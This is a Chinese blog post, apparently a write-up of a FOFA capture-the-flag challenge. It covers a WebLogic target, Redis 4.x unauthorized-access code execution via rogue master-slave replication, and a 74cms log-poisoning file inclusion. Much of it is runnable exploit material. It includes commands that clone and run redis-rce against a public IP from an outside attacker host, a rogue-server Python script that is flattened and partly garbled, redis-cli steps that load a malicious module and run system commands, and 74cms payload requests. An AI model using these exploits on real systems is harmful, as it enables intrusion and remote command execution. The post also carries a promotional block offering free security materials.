首页 >> 大全

FOFA-攻防挑战

2023-06-23 大全 47 作者:考证青年

记录一下中途短暂的辉煌时刻

辉煌一刻谁都有,别拿一刻当永久

在昨天初尝战果之后,今天又习惯性的打开发现今天还有挑战赛,按捺不住躁动的心,又开始了学习。今天主要拿下的是这四个镜像,同时我也会对我了解的漏洞详情做一个具体的分析

我们看到了对应的端口有 7001

看到熟悉的界面以及之前察觉的端口信息,感觉有可能是 ,加上路径查看一下,是 10.3.6.0

存在的漏洞太多了,所以我们直接上漏洞扫描工具

看到了漏洞对应的编号,以及存在的回显链路

信息泄露

打开界面就是一个

尝试了扫路径,查 漏洞的操作无果后,于是直接在页面上查找关键词flag

轻易就查询到了 flag 的值,这个题目给 5 分 我是没有想到的

【----帮助网安学习,以下所有学习资料免费领!加weix:,备注“ csdn ”获取!】

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

Redis 未授权访问漏洞

一看对应映射的端口是 6379 立马就联想到了 Redis,同时这个端口无法从 web 端进行访问,所以基本可以肯定是 Redis 了

注意到版本是 4.0.14

针对于 Redis 未授权访问漏洞,有以下利用方法

这里我们选用 主从复制漏洞来获取shell

在服务器上操作(今天借到了服务器)

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py  -r 123.58.236.76 -p 57119 -L 43.142.138.251 -f module.so

利用主从复制获取shell

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

Linux

在本机上弄的时候出现各种各样的奇葩的问题,给我整破防了,最后我采用了 来进行复现。复现不同的利用都删掉 ,重启继续进行。最后发现主从复制的利用版本是 4.x-5.x,从 6.0开始,就无法利用成功,写入exp.so 也是可以的, 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。

sudo docker pull vertigo/redis4
sudo docker run -p 6379:6379 vertigo/redis4

redis-rce

生成恶意.so文件,下载-使用make编译即可生成

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so

redis-rogue-

git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-serve
python3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1

Redis主从复制手动挡

import socket
from time import sleep
from optparse import OptionParserdef RogueServer(lport):resp = ""sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.bind(("0.0.0.0",lport))sock.listen(10)conn,address = sock.accept()  sleep(5)while True: data = conn.recv(1024)if "PING" in data:resp="+PONG"+CLRFconn.send(resp)elif "REPLCONF" in data:resp="+OK"+CLRFconn.send(resp)elif "PSYNC" in data or "SYNC" in data:resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRFresp += "$" + str(len(payload)) + CLRFresp = resp.encode()resp += payload + CLRF.encode()if type(resp) != bytes:resp =resp.encode()       conn.send(resp) #elif "exit" in data:breakif __name__=="__main__":parser = OptionParser()                parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")       (options , args )= parser.parse_args()lport = options.lpexp_filename = options.expCLRF="\r\n"payload=open(exp_filename,"rb").read()print "Start listing on port: %s" %lportprint "Load the payload:   %s" %exp_filename  RogueServer(lport)

redis-cli -h 192.168.10.187
> ping
> config set dir ./               # 设置redis的备份路径为当前目录
> config set dbfilename exp.so    # 设置备份文件名为exp.so,默认为dump.rdb
> slaveof 192.168.10.1 9999       # 设置主服务器IP和端口
> module load ./exp.so            # 加载恶意模块
> slaveof no one                  # 切断主从,关闭复制功能
> system.exec 'whoami'            # 执行系统命令
> config set dbfilename dump.rdb  # 通过dump.rdb文件恢复数据
> system.exec 'rm ./exp.so'       # 删除exp.so
> module unload system            # 卸载system模块的加载

Redis 官方没有提供 版的安装包, 下使用的 Redis 还是 3.X 版本的。 redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对下的redis的利用方法主要是往 web 目录写马以及写启动项。

利用Redis的主从同步写数据,脚本将自己模拟为,设置对端为slave, 数据空间保证绝对干净,轻松实现了写无损文件。

参考文章对 Redis 在 下的利用方式思考踩坑记录-Redis()的可以利用以下方式

因为对这些暂时还没有研究,所以在这里只演示以下,在 redis 写无损文件

python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1  --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt"  --lfile="test.txt"

哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题。

骑士cms 存在模板解析漏洞

打开页面就是 骑士cms,想到了骑士 cms 的历史漏洞 文件包含漏洞( 的文件包含)

这样操作

http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
POST:
variable=1&tpl=/r/nhttp://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
POST:
variable=1&tpl=data/Runtime/Logs/Home/22_06_28.log

漏洞的原理主要是通过将代码通过报错信息写到日志文件中,再利用文件包含实现代码执行。

更多靶场实验练习、网安学习资料,请点击这里>>

关于我们

最火推荐

小编推荐

联系我们


版权声明:本站内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 88@qq.com 举报,一经查实,本站将立刻删除。备案号:桂ICP备2021009421号
Powered By Z-BlogPHP.
复制成功
微信号:
我知道了